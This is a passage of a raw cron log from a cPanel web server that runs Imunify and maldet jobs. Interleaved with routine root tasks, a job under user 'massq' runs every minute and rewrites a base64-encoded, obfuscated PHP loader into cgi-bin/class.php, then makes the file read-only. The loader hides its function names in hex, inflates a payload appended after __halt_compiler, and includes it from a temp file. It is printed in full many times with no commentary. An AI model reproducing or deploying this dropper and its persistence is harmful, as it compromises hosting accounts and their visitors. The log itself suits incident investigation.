bxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:44:01 server CROND[11711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:44:01 server CROND[11712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:44:01 server CROND[11713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:45:01 server CROND[12093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:45:01 server CROND[12096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:45:01 server CROND[12094]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:45:01 server CROND[12097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:45:01 server CROND[12095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:45:01 server CROND[12099]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:45:01 server CROND[12098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:46:01 server CROND[13009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:46:01 server CROND[13008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:46:01 server CROND[13010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:47:01 server CROND[13439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:47:01 server CROND[13440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:47:01 server CROND[13438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:47:01 server CROND[13437]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  7 04:48:01 server CROND[13947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:48:01 server CROND[13948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:48:01 server CROND[13949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:49:01 server CROND[14326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:49:01 server CROND[14327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:49:01 server CROND[14328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:50:01 server CROND[14728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:50:01 server CROND[14732]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:50:01 server CROND[14734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:50:01 server CROND[14736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:50:01 server CROND[14743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:50:01 server CROND[14746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:50:01 server CROND[14745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:50:01 server CROND[14747]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 04:50:01 server CROND[14744]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:51:01 server CROND[15563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:51:01 server CROND[15564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:51:01 server CROND[15565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:52:01 server CROND[15939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:52:01 server CROND[15940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:52:01 server CROND[15941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:53:01 server CROND[16419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:53:01 server CROND[16420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:53:01 server CROND[16421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:54:01 server CROND[16807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:54:01 server CROND[16808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:54:01 server CROND[16809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:55:01 server CROND[17207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:55:01 server CROND[17205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:55:01 server CROND[17204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:55:01 server CROND[17209]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:55:01 server CROND[17210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:55:01 server CROND[17206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
